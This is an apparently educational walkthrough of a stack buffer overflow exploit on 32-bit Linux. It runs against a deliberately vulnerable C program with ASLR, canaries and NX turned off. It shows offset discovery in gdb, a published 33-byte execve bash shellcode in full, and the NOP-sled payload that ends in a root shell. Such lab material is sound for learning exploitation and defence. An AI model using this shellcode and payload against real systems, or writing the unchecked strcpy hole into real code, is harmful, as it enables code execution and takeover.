Stack Overflow Basic Linux x86
ASLR, NX and Stack Canary Disabled
┌──(root@ghost)-[/home/ghost]
└─# cat program.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *string) {
char buffer[164];
strcpy(buffer, string);
return 1;
}
int main(int argc, char *argv[]) {
bof(argv[1]);
printf("Done..\n");
return 1;
}
C code program
┌──(root@ghost)-[/home/ghost]
└─# echo 0 > /proc/sys/kernel/randomize_va_space
Before compiling our program we are going to disable ASLR temporary
┌──(root@ghost)-[/home/ghost]
└─# gcc -fno-stack-protector -m32 -z execstack program.c -o program
Compiling
-fno-stack-protector Disable canaries
-m32 Compiles program in 32 bits
-z execstack Makes the stack executable
Compiler parameters
In file included from program.c:1:
/usr/include/stdlib.h:26:10: fatal error: bits/libc-header-start.h: No such file or directory
26 | #include <bits/libc-header-start.h>
| ^~~~~~~~~~~~~~~~~~~~~~~~~~
compilation terminated.
If you get this error you can fix it by installing gcc-multilib
┌──(root@ghost)-[/home/ghost]
└─# file program
program: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=43f01db3dd95f6e697a320cc83c504c46c91cc5b, for GNU/Linux 3.2.0, not stripped
First identify binary's architecture
┌──(root@ghost)-[/home/ghost]
└─# checksec --file=program
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH 42 Symbols No 0 1 program
Then we check binary protections
┌──(root@ghost)-[/home/ghost]
└─# gdb -q ./program
Reading symbols from ./program...
(No debugging symbols found in ./program)
(gdb) run $(python2 -c "print('A'*176 + 'BBBB')")
Starting program: /home/ghost/program $(python2 -c "print('A'*176 + 'BBBB')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0x1 1
ecx 0xffffd620 -10720
edx 0xffffd2ff -11521
ebx 0x41414141 1094795585
esp 0xffffd300 0xffffd300
ebp 0x41414141 0x41414141
esi 0x56558eec 1448447724
edi 0xf7ffcb80 -134231168
eip 0x42424242 0x42424242
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Finding the offset
As we can see we are overwriting the stack with A's, returning to EIP and taking EIP register control with the B's, this last is gonna be where our shellcode memory address will be
/*
Title: Linux x86 - execve("/bin/bash", ["/bin/bash", "-p"], NULL) - 33 bytes
Author: Jonathan Salwan
Mail: submit@shell-storm.org
Web: http://www.shell-storm.org
!Database of Shellcodes http://www.shell-storm.org/shellcode/
sh sets (euid, egid) to (uid, gid) if -p not supplied and uid < 100
Read more: http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49
sassembly of section .text:
08048054 <.text>:
8048054: 6a 0b push $0xb
8048056: 58 pop %eax
8048057: 99 cltd
8048058: 52 push %edx
8048059: 66 68 2d 70 pushw $0x702d
804805d: 89 e1 mov %esp,%ecx
804805f: 52 push %edx
8048060: 6a 68 push $0x68
8048062: 68 2f 62 61 73 push $0x7361622f
8048067: 68 2f 62 69 6e push $0x6e69622f
804806c: 89 e3 mov %esp,%ebx
804806e: 52 push %edx
804806f: 51 push %ecx
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: cd 80 int $0x80
*/
#include <stdio.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd\x80";
int main(int argc, char *argv[])
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
We are going to use this x86 bits, 33 bytes long shellcode https://shell-storm.org/shellcode/files/shellcode-606.html
┌──(root@ghost)-[/home/ghost]
└─# echo $((176-33))
143
Knowing that our shellcode is 33 bytes long, we substract offset and shellcode length
...
(gdb) run $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ghost/program $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x56556100 in register_tm_clones ()
(gdb) run $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80' + 'BBBB')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ghost/program $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80' + 'BBBB')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
We change A's by NOP codes (\x90), place our shellcode and check that EIP is under our control
...
(gdb) x/300wx $esp
0xffffd460: 0xffffdf77 0xffffdf8c 0xffffdfa4 0xffffdfb9
0xffffd470: 0xffffdfcf 0xffffdfd8 0x00000000 0x00000020
0xffffd480: 0xf7fc7550 0x00000021 0xf7fc7000 0x00000033
0xffffd490: 0x000006f0 0x00000010 0x178bfbff 0x00000006
0xffffd4a0: 0x00001000 0x00000011 0x00000064 0x00000003
0xffffd4b0: 0x56555034 0x00000004 0x00000020 0x00000005
0xffffd4c0: 0x0000000b 0x00000007 0xf7fc9000 0x00000008
0xffffd4d0: 0x00000000 0x00000009 0x56556070 0x0000000b
0xffffd4e0: 0x00000000 0x0000000c 0x00000000 0x0000000d
0xffffd4f0: 0x00000000 0x0000000e 0x00000000 0x00000017
0xffffd500: 0x00000000 0x00000019 0xffffd53b 0x0000001a
0xffffd510: 0x00000002 0x0000001f 0xffffdfe4 0x0000000f
0xffffd520: 0xffffd54b 0x00000000 0x00000000 0x00000000
0xffffd530: 0x00000000 0x00000000 0xaa000000 0x78e2d623
0xffffd540: 0xe7f46301 0xe2e60a58 0x692f7345 0x00363836
0xffffd550: 0x00000000 0x00000000 0x6f682f00 0x672f656d
0xffffd560: 0x74736f68 0x6f72702f 0x6d617267 0x90909000
0xffffd570: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd580: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd590: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5f0: 0x90909090 0x90909090 0x90909090 0x99580b6a
0xffffd600: 0x2d686652 0x52e18970 0x2f68686a 0x68736162
0xffffd610: 0x6e69622f 0x5152e389 0xcde18953 0x42424280
0xffffd620: 0x4f430042 0x54524f4c 0x3d4d5245 0x65757274
0xffffd630: 0x6f6c6f63 0x49440072 0x414c5053 0x303a3d59
0xffffd640: 0x4c00302e 0x3d474e41 0x555f6e65 0x54552e53
0xffffd650: 0x00382d46 0x474e414c 0x45474155 0x4150003d
0xffffd660: 0x2f3d4854 0x2f727375 0x61636f6c 0x62732f6c
0xffffd670: 0x2f3a6e69 0x2f727375 0x61636f6c 0x69622f6c
0xffffd680: 0x752f3a6e 0x732f7273 0x3a6e6962 0x7273752f
0xffffd690: 0x6e69622f 0x62732f3a 0x2f3a6e69 0x3a6e6962
0xffffd6a0: 0x7273752f 0x636f6c2f 0x672f6c61 0x73656d61
0xffffd6b0: 0x73752f3a 0x61672f72 0x0073656d 0x4d524554
0xffffd6c0: 0x6574783d 0x322d6d72 0x6f633635 0x00726f6c
0xffffd6d0: 0x54554158 0x49524f48 0x2f3d5954 0x656d6f68
0xffffd6e0: 0x6f68672f 0x2e2f7473 0x74756158 0x69726f68
0xffffd6f0: 0x4c007974 0x4f435f53 0x53524f4c 0x3d73723d
0xffffd700: 0x69643a30 0x3b31303d 0x6c3a3433 0x31303d6e
0xffffd710: 0x3a36333b 0x303d686d 0x69703a30 0x3b30343d
0xffffd720: 0x733a3333 0x31303d6f 0x3a35333b 0x303d6f64
0xffffd730: 0x35333b31 0x3d64623a 0x333b3034 0x31303b33
...
(gdb)
Now we are finding where our NOP's are to take an approximate memory address before our shellcode is. Our shellcode starts in 0xffffd5f0 address so we are gonna take a bit higher in 0xffffd5a0 and convert it to little-endian
...
(gdb) run $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80' + '\xa0\xd5\xff\xff')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ghost/program $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80' + '\xa0\xd5\xff\xff')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 32641 is executing new program: /usr/bin/bash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after fork from child process 32643]
[Detaching after fork from child process 32644]
root@ghost:/home/ghost#